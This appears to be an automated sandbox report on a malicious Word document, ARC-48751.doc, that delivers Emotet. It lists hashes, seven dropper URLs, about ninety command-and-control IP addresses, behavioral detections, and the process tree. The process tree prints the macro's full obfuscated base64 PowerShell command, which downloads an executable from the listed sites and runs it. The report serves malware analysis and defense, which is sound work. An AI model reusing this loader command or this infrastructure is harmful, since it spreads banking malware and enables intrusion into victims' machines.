Analysis
- max time kernel
139s - max time network
149s - platform
windows10_x64 - resource
win10v200722 - submitted
17/09/2020, 22:10
Static task
static1
Behavioral task
behavioral1
Sample
ARC-48751.doc
Resource
win7
General
- Target ARC-48751.doc
- Size 251KB
- Sample200917-ed5eph1nm6
- SHA256 61d12a7df062c201b5bcd55a6a873064ab65df1eef00f4b71c5304ba86044673
- MD5 170d3586c8f4394b89e5bb6865ffb17a
- SHA1 e8c82c8bf79312528bef5006824347fca7d4604a
- SHA512 d5686cb24e88e5e63260c87441dff0bd32be35b57e21b6f5a6a57ed6c85ff10002c89241225677a341029920e4b8284a427feec441edcdc82e2aebd4b2717c6a
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
http://hoagietesting10.com/wp-content/SJ/
-
exe.dropper
http://iscamenabe.com/wp-content/1PR/
-
exe.dropper
http://vietmade.org/wp-admin/8/
-
exe.dropper
http://www.filamchimovies.com/wp-admin/8/
-
exe.dropper
https://strattonmobile.com/wp-content/yl/
-
exe.dropper
https://blog.qgdxzs.com/wp-admin/I/
-
exe.dropper
http://vietsex.pro/wp-content/PX/
Extracted
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emotet
-
91.105.94.200:80
-
51.38.124.206:80
-
38.88.126.202:8080
-
54.37.42.48:8080
-
189.2.177.210:443
-
181.30.61.163:443
-
185.178.10.77:80
-
199.203.62.165:80
-
177.73.0.98:443
-
87.106.46.107:8080
-
5.196.35.138:7080
-
5.189.178.202:8080
-
185.183.16.47:80
-
78.249.119.122:80
-
191.182.6.118:80
-
96.227.52.8:443
-
186.103.141.250:443
-
50.28.51.143:8080
-
111.67.12.221:8080
-
50.121.220.50:80
-
61.197.92.216:80
-
212.71.237.140:8080
-
82.76.111.249:443
-
110.142.219.51:80
-
92.24.50.153:80
-
190.24.243.186:80
-
51.255.165.160:8080
-
190.2.31.172:80
-
82.230.1.24:80
-
68.183.170.114:8080
-
192.241.146.84:8080
-
188.135.15.49:80
-
186.70.127.199:8090
-
72.47.248.48:7080
-
216.47.196.104:80
-
35.143.99.174:80
-
213.197.182.158:8080
-
220.109.145.69:80
-
172.104.169.32:8080
-
77.90.136.129:8080
-
170.81.48.2:80
-
185.94.252.27:443
-
138.97.60.141:7080
-
64.201.88.132:80
-
137.74.106.111:7080
-
51.159.23.217:443
-
178.250.54.208:8080
-
185.94.252.12:80
-
45.16.226.117:443
-
80.11.164.185:80
-
187.162.248.237:80
-
204.225.249.100:7080
-
96.245.123.149:80
-
70.32.115.157:8080
-
190.6.193.152:8080
-
185.215.227.107:443
-
177.74.228.34:80
-
190.115.18.139:8080
-
217.13.106.14:8080
-
12.162.84.2:8080
-
190.190.148.27:8080
-
104.131.41.185:8080
-
155.186.0.121:80
-
104.131.103.37:8080
-
114.158.45.53:80
-
152.169.22.67:80
-
67.247.242.247:80
-
98.13.75.196:80
-
74.136.144.133:80
-
74.58.215.226:80
-
190.163.31.26:80
-
192.241.143.52:8080
-
209.236.123.42:8080
-
174.113.69.136:80
-
68.69.155.181:80
-
77.238.212.227:80
-
77.106.157.34:8080
-
65.36.62.20:80
-
181.129.96.162:8080
-
217.199.160.224:7080
-
45.33.77.42:8080
-
94.176.234.118:443
-
111.67.77.202:8080
-
83.169.21.32:7080
-
45.46.37.97:80
-
60.93.23.51:80
-
68.183.190.199:8080
-
70.32.84.74:8080
-
95.9.180.128:80
-
219.92.13.25:80
-
61.92.159.208:8080
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1224 3700 powershell.exe 73 - Emotet Payload 6 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/2128-14-0x00000000005C0000-0x00000000005D2000-memory.dmp emotet behavioral2/memory/2128-14-0x00000000005C0000-0x00000000005D2000-memory.dmp emotet behavioral2/memory/2128-15-0x00000000001F0000-0x0000000000200000-memory.dmp emotet behavioral2/memory/2128-15-0x00000000001F0000-0x0000000000200000-memory.dmp emotet behavioral2/memory/2664-18-0x0000000000570000-0x0000000000582000-memory.dmp emotet behavioral2/memory/2664-18-0x0000000000570000-0x0000000000582000-memory.dmp emotet - Blacklisted process makes network request 1 IoCs
flow pid Process 26 1224 powershell.exe - Executes dropped EXE 2 IoCs
pid Process 2128 Eh5uuijjk.exe 2664 lsmproxy.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\ProximityCommon\lsmproxy.exe Eh5uuijjk.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 788 WINWORD.EXE 788 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 1224 powershell.exe 1224 powershell.exe 1224 powershell.exe 2664 lsmproxy.exe 2664 lsmproxy.exe 2664 lsmproxy.exe 2664 lsmproxy.exe 2664 lsmproxy.exe 2664 lsmproxy.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1224 powershell.exe - Suspicious use of SetWindowsHookEx 9 IoCs
pid Process 788 WINWORD.EXE 788 WINWORD.EXE 788 WINWORD.EXE 788 WINWORD.EXE 788 WINWORD.EXE 788 WINWORD.EXE 788 WINWORD.EXE 788 WINWORD.EXE 788 WINWORD.EXE - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 1224 wrote to memory of 2128 1224 powershell.exe 80 PID 1224 wrote to memory of 2128 1224 powershell.exe 80 PID 1224 wrote to memory of 2128 1224 powershell.exe 80 PID 2128 wrote to memory of 2664 2128 Eh5uuijjk.exe 81 PID 2128 wrote to memory of 2664 2128 Eh5uuijjk.exe 81 PID 2128 wrote to memory of 2664 2128 Eh5uuijjk.exe 81
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ARC-48751.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:788
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -encod JABUADkAXwBvAGUAeQA2AD0AKAAoACcAQgAnACsAJwBsAGgAJwApACsAJwBnAHoAJwArACcANABvACcAKQA7AC4AKAAnAG4AZQB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAEUATgB2ADoAVQBzAEUAcgBQAFIATwBmAEkATABFAFwAcQA3AGMAVgBtAGcANQBcAGgAdgA3ADQAeAA2AEwAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIAZQBDAFQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBDAFUAcgBgAEkAYABUAHkAUAByAE8AVABgAE8AQwBPAGwAIgAgAD0AIAAoACgAJwB0AGwAcwAxACcAKwAnADIALAAgAHQAbAAnACsAJwBzADEAJwArACcAMQAnACkAKwAnACwAJwArACcAIAB0ACcAKwAnAGwAJwArACcAcwAnACkAOwAkAEUAOAAyADgAbABlADAAIAA9ACAAKAAoACcARQAnACsAJwBoADUAdQAnACkAKwAnAHUAJwArACgAJwBpACcAKwAnAGoAagBrACcAKQApADsAJABMADEANAB5AGEAbAB3AD0AKAAnAEUAbwAnACsAJwBlAHUAJwArACgAJwBqAF8AJwArACcAYgAnACkAKQA7ACQATABkAGwAMQBrAHoAcQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnADkATQAnACsAJwBIAFEANwBjAHYAbQBnACcAKwAnADUAJwApACsAJwA5ACcAKwAnAE0ASAAnACsAJwBIAHYAJwArACcANwAnACsAKAAnADQAeAA2AGwAJwArACcAOQBNAEgAJwApACkALQByAEUAUABMAEEAQwBFACAAIAAoACcAOQBNACcAKwAnAEgAJwApACwAWwBjAGgAQQByAF0AOQAyACkAKwAkAEUAOAAyADgAbABlADAAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAE4AYgBfAHgAdAByAGgAPQAoACgAJwBRAHEAJwArACcAYgAnACkAKwAoACcAMwB5AHMAJwArACcAeQAnACkAKQA7ACQAVgB1AHQAcAByAHEAbgA9ACYAKAAnAG4AJwArACcAZQB3AC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBlAHQALgB3AEUAQgBDAGwAaQBFAE4AVAA7ACQATwBzADAAbgBjAHEAMQA9ACgAJwBoACcAKwAnAHQAdAAnACsAKAAnAHAAOgAnACsAJwAvACcAKQArACgAJwAvACcAKwAnAGgAbwAnACkAKwAnAGEAZwAnACsAKAAnAGkAZQAnACsAJwB0ACcAKwAnAGUAcwB0AGkAJwApACsAJwBuAGcAJwArACcAMQAnACsAKAAnADAALgBjAG8AbQAnACsAJwAvACcAKQArACgAJwB3AHAALQBjACcAKwAnAG8AbgB0AGUAJwArACcAbgB0AC8AUwBKACcAKwAnAC8AKgBoAHQAdABwADoALwAnACsAJwAvACcAKwAnAGkAJwArACcAcwBjAGEAJwArACcAbQBlACcAKwAnAG4AYQAnACkAKwAoACcAYgAnACsAJwBlAC4AJwArACcAYwBvAG0AJwArACcALwAnACsAJwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AMQAnACsAJwBQACcAKwAnAFIALwAqACcAKQArACgAJwBoACcAKwAnAHQAdAAnACkAKwAnAHAAOgAnACsAKAAnAC8ALwAnACsAJwB2AGkAZQB0AG0AJwApACsAJwBhAGQAJwArACcAZQAuACcAKwAnAG8AJwArACcAcgAnACsAKAAnAGcAJwArACcALwB3ACcAKQArACcAcAAtACcAKwAoACcAYQBkAG0AaQAnACsAJwBuAC8AJwArACcAOAAnACkAKwAnAC8AJwArACcAKgAnACsAKAAnAGgAdAB0AHAAJwArACcAOgAvAC8AJwApACsAKAAnAHcAJwArACcAdwB3ACcAKQArACcALgAnACsAKAAnAGYAaQAnACsAJwBsAGEAJwArACcAbQBjACcAKQArACcAaAAnACsAKAAnAGkAbQAnACsAJwBvACcAKQArACgAJwB2AGkAZQBzACcAKwAnAC4AYwBvACcAKwAnAG0ALwB3AHAALQBhACcAKwAnAGQAbQBpAG4AJwApACsAKAAnAC8AOAAnACsAJwAvACoAJwArACcAaAB0AHQAcABzADoAJwApACsAKAAnAC8ALwBzACcAKwAnAHQAJwApACsAKAAnAHIAYQAnACsAJwB0AHQAJwApACsAJwBvACcAKwAnAG4AbQAnACsAJwBvACcAKwAnAGIAJwArACcAaQBsACcAKwAoACcAZQAuACcAKwAnAGMAbwAnACkAKwAoACcAbQAvACcAKwAnAHcAcAAtACcAKQArACgAJwBjACcAKwAnAG8AbgAnACkAKwAoACcAdAAnACsAJwBlAG4AJwApACsAJwB0ACcAKwAnAC8AeQAnACsAKAAnAGwAJwArACcALwAqACcAKwAnAGgAdAB0AHAAcwAnACkAKwAoACcAOgAvAC8AYgAnACsAJwBsACcAKQArACcAbwBnACcAKwAnAC4AcQAnACsAKAAnAGcAZAB4AHoAJwArACcAcwAnACsAJwAuAGMAbwAnACsAJwBtAC8AJwApACsAKAAnAHcAcAAnACsAJwAtAGEAJwApACsAKAAnAGQAbQBpAG4ALwBJACcAKwAnAC8AKgBoACcAKwAnAHQAJwApACsAKAAnAHQAcAA6ACcAKwAnAC8ALwB2AGkAJwArACcAZQB0AHMAJwApACsAKAAnAGUAeAAnACsAJwAuACcAKQArACcAcAAnACsAJwByACcAKwAoACcAbwAnACsAJwAvAHcAJwApACsAKAAnAHAAJwArACcALQBjAG8AbgAnACkAKwAnAHQAJwArACgAJwBlAG4AdAAvACcAKwAnAFAAWAAnACsAJwAvACcAKQApAC4AIgBzAHAAYABsAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEMAYgBpAGYAYwBvAGsAPQAoACcATwBnACcAKwAoACcAeABhACcAKwAnADUAdwAnACkAKwAnADkAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAQgBlAHYAcQBxAHcANQAgAGkAbgAgACQATwBzADAAbgBjAHEAMQApAHsAdAByAHkAewAkAFYAdQB0AHAAcgBxAG4ALgAiAGQATwBgAHcAYABOAGwATwBBAGQARgBpAEwARQAiACgAJABCAGUAdgBxAHEAdwA1ACwAIAAkAEwAZABsADEAawB6AHEAKQA7ACQATgBuADEAaQBrAHgAdgA9ACgAJwBOACcAKwAoACcANgAnACsAJwBhAHYAawAnACsAJwA1ADYAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQAnACsAJwBJAHQAZQBtACcAKQAgACQATABkAGwAMQBrAHoAcQApAC4AIgBMAGUATgBnAGAAVABoACIAIAAtAGcAZQAgADMAMwAyADAAOAApACAAewAmACgAJwBJAG4AdgAnACsAJwBvAGsAZQAtACcAKwAnAEkAdAAnACsAJwBlAG0AJwApACgAJABMAGQAbAAxAGsAegBxACkAOwAkAEsAcgBpADMANwBlAGUAPQAoACcAQwAnACsAKAAnAGMAJwArACcAbQA1AGgAZQAnACsAJwBiACcAKQApADsAYgByAGUAYQBrADsAJABGAGoAbAAzAHEAcQByAD0AKAAoACcASAB4ACcAKwAnAGgAbgAnACkAKwAnADEAJwArACcAdgAyACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWgBrAHEAZQAxAGMAeAA9ACgAKAAnAFAAcgAnACsAJwBmAHUAagBlACcAKQArACcAbAAnACkA1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1224 -
C:\Users\Admin\Q7cvmg5\Hv74x6l\Eh5uuijjk.exe"C:\Users\Admin\Q7cvmg5\Hv74x6l\Eh5uuijjk.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2128 -
C:\Windows\SysWOW64\ProximityCommon\lsmproxy.exe"C:\Windows\SysWOW64\ProximityCommon\lsmproxy.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:2664
-
-